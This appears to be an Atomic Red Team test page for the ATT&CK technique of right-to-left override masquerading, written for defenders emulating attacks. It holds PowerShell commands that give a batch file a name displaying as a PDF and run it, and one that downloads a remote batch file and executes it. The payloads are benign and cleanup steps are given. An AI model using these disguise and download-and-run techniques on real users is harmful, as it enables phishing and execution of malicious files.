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T1036.002 - Masquerading:Right-to-Left Override

Description from ATT&CK

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

Source

Atomic Tests

Atomic Test #1: Masquerading: Right-to-Left Override Batch File Creation and Execution

'Creates a batch file and then uses the RTLO operator (0x202E) to transform the file name from "evil_batchfdp.bat" to "evil_batchtab.pdf". The script then executes the batch file which displays "Hello World!" for 30 seconds before closing out.'

Supported Platforms: Windows

auto_generated_guid: d7c03c7e-31cd-43c7-859a-ec053f73b23a

Inputs

Name Description Type Default Value
fileloc Input the file location. Default is the desktop. path [System.IO.Path]::Combine($env:USERPROFILE, "Desktop")

Attack Commands: Run with powershell!

$filepath = #{fileloc}
$rtlo = [char]0x202E
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
$payload = @"
@echo off
echo Hello World!
timeout /t 30 /nobreak
exit
"@
Set-Content -Path $fileloc -Value $payload -Encoding Ascii -Force
Write-Host "Real filename on disk: $fileloc"
Write-Host "Displays in explorer as: evil_batchtab.pdf"
Start-Process -FilePath $fileloc -Wait

Cleanup Commands

$rtlo = [char]0x202E
$filepath = #{fileloc}
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
Remove-Item -Path $fileloc -Force -ErrorAction SilentlyContinue

Atomic Test #2: Masquerading: RTLO Masqueraded File Download and Execution

Downloads a batch file that has an obfuscated name utilizing the RTLO operator. The batch file then runs automatically, opening a cmd window and then closing 30 seconds later

Supported Platforms: Windows

auto_generated_guid: dac81590-8b63-4769-8b82-310beedc4f09

Inputs

Name Description Type Default Value
fileloc Location you want to download the file to. Default is the downloads folder path [System.IO.Path]::Combine($env:USERPROFILE, "Downloads")

Attack Commands: Run with powershell!

$rtlo = [char]0x202E
$filepath = #{fileloc}
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1036.002/src/evil_batch.bat" -OutFile $fileloc -UseBasicParsing | Out-Null
Start-Process -FilePath $fileloc

Cleanup Commands

$rtlo = [char]0x202E
$filepath = #{fileloc}
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
Remove-Item -Path $fileloc -Force -ErrorAction SilentlyContinue
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